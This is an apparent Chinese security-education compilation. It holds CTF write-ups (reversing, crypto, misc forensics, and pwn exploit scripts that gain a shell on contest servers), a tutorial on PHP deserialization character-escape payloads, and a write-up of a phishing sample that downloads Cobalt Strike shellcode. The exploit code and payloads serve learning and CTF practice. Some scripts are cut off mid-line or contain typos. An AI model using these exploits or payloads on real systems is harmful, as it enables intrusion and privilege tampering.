elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
return aas
def get_aas(orders):
b = [ord(c) for c in 'flag{12345678901234567890123456}']
a = []
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]
for i in range(32):
c = 0
for j in range(i+1):
c ^= a2[j]
a.append(c)
aas = []
for i in range(32):
aas.append(a[:])
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
return aas
def dec(aas, orders, seed):
#b = [101, 46, 7, 63, 148, 47, 164, 57, 127, 160, 41, 36, 28, 175, 229, 120, 228, 102, 147, 78, 254, 68, 207, 240, 223, 246, 251, 73, 235, 24, 215, 30]
#b = [132, 13, 239, 89, 97, 68, 214, 77, 139, 199, 61, 244, 220, 107, 175, 6, 222, 75, 100, 91, 167, 143, 135, 74, 72, 246, 81, 54, 83, 64, 165, 216]
bs = l64(0x2F34A83A1B38C557) + l64(0xEE8F2F04E4C69739) + l64(0x486FC9246780515E) + l64(0xEBC2C2B0C7BD7F5B)
b = [ord(i) for i in bs]
re_orders = orders[::-1]
for i in range(32):
a = aas[31-i]
if re_orders[i] == 0:
fun1(a, b)
elif re_orders[i] == 1:
fun2(a, b)
elif re_orders[i] == 2:
fun3(a, b)
elif re_orders[i] == 3:
fun4(a, b)
elif re_orders[i] == 4:
fun5(a, b)
elif re_orders[i] == 5:
defun6(a, b)
#print b
s = ''.join(chr(i) for i in b)
is_printable = True
for i in range(10):
if b[i] > 0x80:
is_printable = False
break
if is_printable:
print seed, s
return is_printable
def srand(s):
global seed
seed = s
# microsoft c runtime implementation
def rand():
global seed
seed = (seed * 214013 + 2531011) % 2**64
return (seed >> 16)&0x7fff
def gen_order(seed=1):
srand(seed)
orders = []
for i in range(32):
orders.append(rand() % 6)
return orders
orders = gen_order(seed=1)
aas = get_aas(orders)
dec(aas, orders, 1)
flag{Kmode_Umode_Communication!}
2、**勒索解密**
分析的程序主要逻辑为先计算出固定秘钥+时间戳结合生成的key进行sha256,再以此作为key将生成将.bmp文件内容进行aes加密,加密iv为0
代码如下:
#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AES
def decrypt(data, key):
cryptos = AES.new(key, AES.MODE_ECB)
decrpytBytes = list(base64.b64decode(data))
decrpytBytes = bytes(decrpytBytes)
data = cryptos.decrypt(decrpytBytes)
return data
key = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)
f1 = open("flag.bmp.ctf_crypter", "rb")
f2 = open("flag.bmp", "wb")
data = f1.read()
def xor(enc, data):
res = []
for i in range(len(a)):
res += [enc[i]^data[i]]
return bytes(res)
for i in range(len(data)//16):
enc = base64.b64encode(data[16*i:16*(i+1)])
if i > 0:
ans = xor(decrypt(enc, key), data[16*(i-1):16*i])
else:
ans = decrypt(enc, key)
fp2.write(ans)
f1.close()
f2.close()
解密得到flag如下:
3、LightningSystem**
从hex生成bin文件。bin文件用ida打开,选择arm架构。分析程序发现从spi接口读取了512字节的数据。通过tips链接下载的logic2软件打开logic.sal可以看到4个波形图,其中chall 2为输入,根据波形提取出512字节数据。继续分析LightningSystem.bin代码,可以看出是个vm,写脚本得到vmcode的功能。继续分析vmcode的代码,得到算法,最后求解exp如下:
求解
def brute(v4, v5, a, b, j):
should_out = [0x12, 0x67, 0x0F, 0xDB, 0xF6, 0x0A, 0x0F, 0x39, 0xF6, 0xC9, 0xF5, 0xC1, 0xF2, 0xA3, 0x0D, 0xD0, 0xF5, 0x01, 0x0C, 0x6F, 0x0E, 0x39, 0xF2, 0x80, 0xF5, 0xE4, 0x0C, 0xD7, 0xF8, 0x68, 0x0C, 0x96, 0xF5, 0xA5, 0x0F, 0x9F, 0x0F, 0x31, 0xF9, 0x2E, 0x1B, 0x07]
v13 = a
v14 = b
v15 = 7 * (j ^ 0x4D)
v16 = (v5 + 7 * (j ^ 0x4D)) & 0xff
v18 = v13 - 0x20 + v16
v19 = (v14 - 0x20) << 7
o1 = ((v4 + ((v19 + v18) >> 8) + ((v15 + v5) >> 8)) & 0xff)
o2 = ((v18 + v19) & 0xff)
if (o1 == should_out[2*j]) & (o2 == should_out[2*j+1]):
print a, b
return True
return False
v4 = 234
v5 = 6
s = ''
for k in range(21):
find = False
for a in range(0x20, 0x80):
for b in range(0x20, 0x80):
if brute(v4, v5, a, b, k):
s += chr(a)+chr(b)
find = True
break
if find:
break
if not find:
print ('fail')
print s
得到flag如下:flag{31fd5c30-dc82-abd0-741b-9ba425f2e692}
4、**Rev_Dizzy**
看反编译的代码,完了拿比较的数据反过来进行加减异或
代码太大,就不贴了,在附属文档(命名为deal.cpp)
跑出flag如下:
crypto
1、**Guess**
先是一个sha256的爆破,一共要爆破四位,10秒内出结果,第一关就过去了,第二关和矩阵运算有关,key的矩阵给了第一列的数据【119,201,718,647】,有了这行数据和最后矩阵相乘的结果,可以通过sage函数key.solve_left()来求得中间生成的随机矩阵。
但这个函数的限制条件没调好,现在只能解出一个无用的特解。
首先求key,key是一个204的矩阵,乘以一个412的矩阵得到hint中的矩阵。也就是A*R=B,已知B求A。https://ctf.njupt.edu.cn/546.html#diamond该博客中有解法,其中的代码稍微修改修改即可
msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77b12dec354b8909e6\\hint', 'r').readlines()
B = []
for var in msg:
var = var[1:-2].split(' ')
for x in var:
B.append(int(x))
BB = []
for i in range(0, len(B), 20):
BB.append(B[i: i + 20])
As = []
for i in range(1000):
shuffle(BB)
for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):
if line[0] < 0:
line = -line
if line not in As and all(map(lambda x: 100 <= x <= 1000, line)):
print(len(BB), line)
As.append(line)
a = [241, 232, 548, 400, 186, 333, 646, 727, 286, 877, 810, 121, 237, 745, 201, 542, 244, 396, 158, 641]
b = [119, 521, 142, 637, 614, 746, 299, 416, 638, 288, 995, 498, 639, 585, 114, 885, 558, 783, 899, 751]
c = [718, 550, 349, 939, 148, 355, 942, 685, 313, 577, 184, 130, 307, 983, 611, 903, 271, 530, 566, 427]
d = [647, 918, 613, 936, 461, 281, 977, 888, 128, 653, 309, 780, 526, 216, 944, 123, 430, 860, 113, 129]
m = matrix([b, a, c, d])
K = []
for i in range(20):
for j in range(4):
K.append(m[j][i])
print(K)
print(len(K)==80)
题目使用的加密算法是paillier,该算法有乘法同态性质,也就是D(c1c2)=m1+m2,因此有D(c^k)=km。第三步传给服务器两个明文,服务器返回一个密文。第四步可以将这个密文的平方传回给服务器,服务器返回的就是明文的二倍,这样就可以计算出使用的key,进而判断出第三步传回的是哪个密文
import socketfrom pwn import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256K = [119, 241, 718, 647, 521, 232, 550, 918, 142, 548, 349, 613, 637, 400, 939, 936, 614, 186, 148, 461, 746, 333, 355, 281, 299, 646, 942, 977, 416, 727, 685, 888, 638, 286, 313, 128, 288, 877, 577, 653
flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}
2、**myRSA**
根据加密函数推导
def encry(message,key,p,q,e): k1,k2 = key[random.randint(0,127)],key[random.randint(0,127)] x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1) y = 2*p*q + p + q z = k1 + k2 c = pow(b2l(message),e,p*q) return x * c + y * c + zn == p*qencry == x*c+y*c+z == c*(x+y)+z == c*(p^2*(p+3*q-1)+q^2*(q+3*p-1)+2*p
当message已知时,即c已知,则:
( (p+q)^3 - (p+q)^2 + (p+q) - 4*n ) + z//c == encry//cbit_length(z) ≈ bit_length(c) (p+q)^3 - (p+q)^2 + (p+q) ≈ encry//c + 4*n p+q ≈ iroot(encry//c + 4*n,3)
得到p+q后,即可分解得到p和q,然后
encry(falg) == c*( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q)+zencry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q ) ≈ cc ≈ encry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q )pow(flag,e,p*q) == cflag = pow(c,d,p*q)
交互过程如图:
具体代码如下:
from gmpy2 import * from libnum import *import hashlib, stringimport stringstring.ascii_letters+string.digitsdef getHash(salt, result): characters = string.ascii_letters+string.digits for c1 in characters: for c2 in characters: for c3 in characters: for c4 in characters: proof = (c1 + c2 + c3 + c4)
3、**Random_RSA**
python随机数相同的随机数种子产生的随机数序列相同,先用产生的随机数序列异或解密出dp,然后
https://blog.csdn.net/weixin_45369385/article/details/109208109该博客有dp泄露的原理和代码,直接用即可(python2运行)
# -*- coding: utf-8 -*-from Crypto.Util.number import *import gmpy2import libnumimport randomimport binasciiimport osn=8119628299260611359123361520468059764520856227932785402698137691797784364485518052822703775269249855837002635324498146790005715799746276073201937218595584650797745665776012568212510
###
pwn
1、**note**
scanf那里可以进行格式化字符串的利用,首先修改站上残留的stdout指针,可以泄露地址,之后可以任意地址写:
最后利用传统的exit_hook,劫持_dl_rtld_lock_recursive为one_gadget,当调用exit函数时可得到shell
exp:
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./note"reomote_addr=["47.104.70.90",25315]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PRELOAD
flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}
2、**lemon**
开头的伪随机数可绕过,使得flag输入到栈上;
程序在bss段上残留了一个栈地址:
所有菜单函数里面都没有检查负下标,所以可以修改栈空间,通过部分覆盖将环境变量的一个指针改为flag的地址,之后破坏堆结构,报错即可泄露出flag
exp:
# -*- coding:utf8 -*-from pwn import *pc = "./lemon_pwn"libc = ELF('./libc-2.26.so')context.binary = pccontext.terminal = ["gnome-terminal", '-x', 'sh', '-c']context.log_level= 'debug'remote_addr = ["47.104.70.90", 34524]ru = lambda x : p.recvuntil(x,timeout=0.2)sn = lambda x : p.send(x)rl = lambda
flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}
3、**PassWordBox_FreeVersion**
fgets可以溢出一个\x00;
libc2.27下的off by null,实现chunk overlap,进而修改tcache的fd指针,分配到__free_hook处,并将其修改为system
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./pwdFree"reomote_addr=["47.104.71.220",38562]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PRE
flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}
4、PassWordBox_ProVersion
存在UAF,且只能申请largebin大小的chunk
通过2.31的large bin attack,可以修改 mp_结构体中的tcache_bins和tcache_max_bytes
之后通过计算,在伪造的tcache struct的相应size的位置上写上__free_hook,可将其申请出来改为system
exp:
#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *pc = './pwdPro'# p = process(pc)libc = ELF("./libc.so")p = remote("47.104.71.220", 49261)context.log_level = 'debug'context.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']ru = lambda x : p.recvuntil(x,timeout=0.2)sn = lambda x
flag{909cf735-b274-4098-885b-589300839b71}
5、JigSaw'sCage
存在整数溢出/宽度溢出,可以绕过检查得到一块rwx的堆地址:
test函数可以执行输入的汇编代码
利用残留的寄存器r10,r12,分两次写,把__free_hook改为system即可:
add r10, 0x50068 mov r12, r10sub r10, 0x1496b0 mov qword ptr [r12],r10
exp:
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./JigSAW"reomote_addr=["47.104.71.220",10273]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PREL
flag{58591d4d-068f-47ed-9305-a65762917b06}
misc
1、**层层取证**
挂载镜像,在内存中找到密钥
bitlocker密钥 549714-116633-006446-278597-176000-708532-618101-131406
发现一个流量包
跟踪udp,打开,保存为zip格式
右边有hint和开机密码同
hashdump一下
解一下 xiaoming_handsome是压缩包密码
打开docx,还有一层密码
原始数据中搜索
2、**鸣雏恋**
解压后,得到一个docx,里面就几个字,没有隐藏。改为zip后缀试试。
解压zip,里面的key.txt是零宽
密码是 Because I like naruto best
解压缩包,转化0和1,一把梭出图片
from PIL import Imagefrom Crypto.Util.number import long_to_bytesimport base64path = "D:\\Desktop\\xiangyuncup\\misc4_\\_rels\\out\\"flag = "0b"for i in range(129488): _path=path+str(i)+".png" a=Image.open(_path) if a.size[0] == 23:flag+="0" else:flag+="1"cipher=int(flag, 2)data=long_to_bytes(cipher
3、ChieftainsSecret
binwalk可以得到一个表和一张芯片示意图:
显然是要分析芯片的功能了。
表用折线图画,可以发现是一些三角函数信号,根据信号应该可以得出什么信息
处理一下四组数据
https://www.bilibili.com/video/av58935371/ 学习了下怎么转换时间
x=cos_p-cos_n
y=sin_p-sin_n
转换成角度,算出theta(atan2(x,y)*57.3,负值加360),画图得到:
逐个比对出峰值对应号码,得到77085962457。
通过本系列的学习,能够对CTF中web有体系的了解,通过练习提升技术
实验推荐:https://www.yijinglab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356
PHP反序列化字符逃逸详解
PHP反序列化字符逃逸的原理
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
详解PHP反序列化字符逃逸
对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。
过滤后字符变多
过滤后字符变少
过滤后字符变多
假设我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>
这一段程序的输出结果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,对象序列化之后的isVIP变量是0。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
function filter($s){
return str_replace("admin","hacker",$s);
}
因此整段程序如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到已过滤字符串中的hacker与前面的字符长度不对应了
s:5:"admin";
s:5:"hacker";
在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量
接下来明确我们的目标:将isVIP变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//以上字符串的长度为47
因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadmin
程序输出结果为:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadmin
程序输出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke
可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。
过滤后字符变少
上面描述了PHP反序列化字符逃逸中字符变多的情况。
以下开始解释反序列化字符逃逸变少的情况。
首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。
完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('admin','123456');$a_seri = serialize($a);$a_seri_filter =
得到结果:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同样比较一下现有子串和目标子串:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。
计算一下目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串//长度为47
再计算一下到下一个可控变量的字符串长度:
";s:8:"password";s:6:"//长度为22
因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)
完整代码如下:(这里的变量里一共有22个admin)
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出结果:
注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1)}
可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了
实验推荐:https://www.yijinglab.com/expc.do?ce=fedb75c5-f7f4-450e-8b27-40ac4db2a5d9
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
记一次粗浅的钓鱼样本分析过程
0x00 前言
一切的一切要从 (盘古开天辟地) 几个月前的某大型网安活动期间说起。话说当时一位素未谋面的基友给在下发了一个疑似钓鱼的样本,说是让我试试看下能不能溯源出攻击方。于是虽然作为一名萌新,此前也从未接触过类似的工作,但想到既然是基友的请求,那也唯有欣然接受了。不过值得庆幸的是,最后虽然折腾了大半天,而且好像也没帮上什么忙,但与样本分析的初接触过程中,还是学到了不少东西的。唯独可惜的是,由于当时的自己沉迷摸鱼,没有及时把过程记录下来。如今偶然再想起,决定补写一文章——但也只能力求复刻当时的真实情况了。所以如果发现文中一些时间戳对不上的,请自动忽略,个人认为不影响文章的真实性。。。
0x01 投石问路
因为样本是基友直接发给我的,所以样本的发现过程这里按下不表,直奔主题吧。
拿到样本,一个朴实无华的 exe 可执行文件,再看这 exe 的图标更是已经烂大街的了:
于是本着没吃过猪肉也见过猪跑的道理,想起平时摸鱼时也看过不少大佬们做过的免杀和样本分析的文章,先草率地做出了一个最简单的猜想:很可能又是一个使用 rar 自解压制作的钓鱼样本。
于是就草率地先尝试使用 bandzip 打开,发现格式不对:
显然,这样草率的猜想果然是不靠谱的,遂转换思路。
于是又想到,正所谓他山之石可以攻玉,况且自己之前在这方面也几乎零基础,那不妨先扔在线的分析网站跑一波吧,就算只搞到个大概的报告也可以供参考。于是将样本拖进 VT,立等片刻后,得到结果:
只是瞧瞧这多引擎的检测结果,居然还有点小意外?!于是这个情况顿时让我对这个样本又多了几分好奇:看来有机会还是要搞清楚这个样本是怎么制作的呀。再说作为一条有理想的咸鱼,一直这样依赖工具也不是办法,有机会还是要锻炼下自己的动手能力。于是决定为基友献出自己的”第一次“,尝试手动分析下这个样本,顺便看看它这个查杀率是怎么做到的。
0x02 循序渐进
说是手动分析,但一来自己经验不足,二来身边也没有随时可抱大腿的大佬来解疑答惑,那眼前 VT 的分析结果还是要参考下的,起码起到风向标的作用。
VT 分析结果的前面几项都没有什么特别有价值的信息。直至切换到分析结果中的 BEHAVIOR 选项卡,发现样本执行过程释放和加载了一个名为python27.dll 的动态链接库文件:
看到这,作为一名常年网上冲浪、已经将喊666刻进DNA里的资深菜鸡,我的 privilege 又尽数体现了:根据经验,这大概又是一个 PyInstaller 打包的 exe文件。
于是现学现卖,从搜索引擎得知:
PyInstaller 打包的文件可以使用一个名为 pyinstxtractor.py 的 https://link.segmentfault.com/?url=https%3A%2F%2Fsourceforge.net%2Fprojects%2Fpyinstallerextractor%2F 来进行解包反编译得到 pyc 文件
pyc 是 python 源代码执行编译后得到的文件。可使用 uncompyle6 等工具进行反编译,得到最终的 python源码
因此需准备工具有:pyinstxtractor.py)(可github获取)、uncompyle6 (可直接使用 pip install 安装)
有了以上前置知识后,那么依葫芦画瓢——下载脚本并执行: python pyinstxtractor flashplayerpp_install_cn.exe:
幸运的是,过程十分顺利,在当前目录下生成了解压文件夹:
然后,根据资料,在解压目录中找到可疑的 pyc文件,名为 main:
按照剧本,这里的 main 应该就是 main.py 编译之后得到的 pyc 文件。但实际操作中,无论是使用在线反编译工具如 https://link.segmentfault.com/?url=http%3A%2F%2Ftools.bugscaner.com%2Fdecompyle%2F,还是本地的 https://link.segmentfault.com/?url=https%3A%2F%2Fgithub.com%2Frocky%2Fpython-uncompyle6%2F 和 https://link.segmentfault.com/?url=https%3A%2F%2Fsource
根据报错信息不难发现,报错与一个 magic number的概念有关。因此要想继续分析流程,就必须先解决 magic number的问题。
于是继续求助搜索引擎。得到解释如下:
magic number 是 pyc 文件结构的一部分,其位于文件开头的前 4 个字节,代表了 python 的版本信息。
出现 unknown magic number 错误,很可能是制作样本的钓鱼佬对 pyc 文件做了手脚。这种情况在 CTF 中也比较常见
在知道 python 版本的情况下,可通过补全magic number 信息来尝试修复无法还原的 pyc 文件
0x03 原来是虚晃一枪
老实说,看完上面收集回来的信息,我当时的表情就是这样的:
显然,事情到这一步已经超出了一个我这个菜鸡的预期了。
所以说,要半途而废嘛,也不是没想过。。。可气氛都渲染到这里了,不继续下去好像也不太说得过去的样子。。。
于是,本着准备手动修复 magic number 信息的想法, winhex 打开 main.pyc,却惊喜地发现:
main 文件里面的竟然是源码明文?!!
这。。这。。。这是咋回事呢?跟说好的剧本不一样啊。。这样难道不会影响打包的 exe 文件的运行的吗?难道这就是这个样本被查杀率不高的原因?
于是本着知其所以然的心态,本人又围绕这这个问题,尝试找了不少资料。但可惜水平有限,最终也是没找到相应的解释,对此还希望有知道的师傅能指教一二。。。
不过言归正传,既然拿到了 python 的源码,那一切就好办了。。
直接将 main.pyc 改名为 main.py,用 sublime 打开,得到:
简单看了下源码,发现执行的过程如下:
1、is_admin 函数先判断是否为管理员权限,如果不是,则调用 API 请求以管理员身份运行该样本
2、如果当前已经是管理员权限,则执行 NDdFrvsmTh 函数
3、NDdFrvsmTh 函数开辟两个线程,一个线程执行TFZWSTEcc函数下载真正的 flash 安装包到本地执行安装,另一个线程执行TENRWCTE 函数加载 shellcode 使主机上线
4、TFZWSTEcc 函数先从远程地址 https://link.segmentfault.com/?url=https%3A%2F%2Fwww.xxx.us%2Fxxxxxyyyyyyvszzzzz 加载 CS 的shellcode,然后几句 cPickle.loads 分别为 shellcode 的执行分配内存空间、设置执行权限、创建线程并最终执行:
(PS:可能是我愚钝,总之一番概览下来,好像除了从远程加载 shellcode 而不是硬编码到代码中去之外,也没啥特别的。。。?所以至此 VT 的这个 6/64 的查杀率似乎也成了我的一个未解之谜。。 )
同时既然已经知道 shellcode 的远程下载地址,那么可直接尝试获取 shellcode 到本地进行分析。编写了个简单的脚本:
执行后顺利得到 shellcode.bin 文件:
最后简单使用 strings 即可得到 teamserver 的地址:
不过可惜的是,上了CDN:
明显,这种情况,以本人的水平也暂时谈不上什么反制了。最后将自己的分析过程打包给基友后就洗洗睡第二天继续吃瓜去了。。。
0xFF 总结
本文主要记录了本人在对一钓鱼样本进行分析溯源学习时的踩坑经过。整个过程可简单概况为以下几部分:
使用pyinstxtractor 反编译 pyinstaller 打包的exe,得到 pyc 文件
尝试使用 uncompyle6反编译 得到的pyc 文件,进一步得到 python 源码未果
根据 uncompyle6 使用过程中出现的问题,寻找原因和解决办法,尝试手动修复 pyc 文件
尝试修复 pyc 文件时直接发现 python 源码(是资料中未提及过的情况,很惊奇,遂于寻找原因,但未果)
分析 python 源码,得到 teamserver 地址。最后能力有限,不会反制
最后本人技术粗浅,文章措辞轻浮,肯定有许多错漏之处,还望各位大佬大力斧正的同时轻喷。。。
实验推荐:https://www.yijinglab.com/expc.do?ec=ECIDaefb-df77-4f25-8c11-864cf64abe24
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

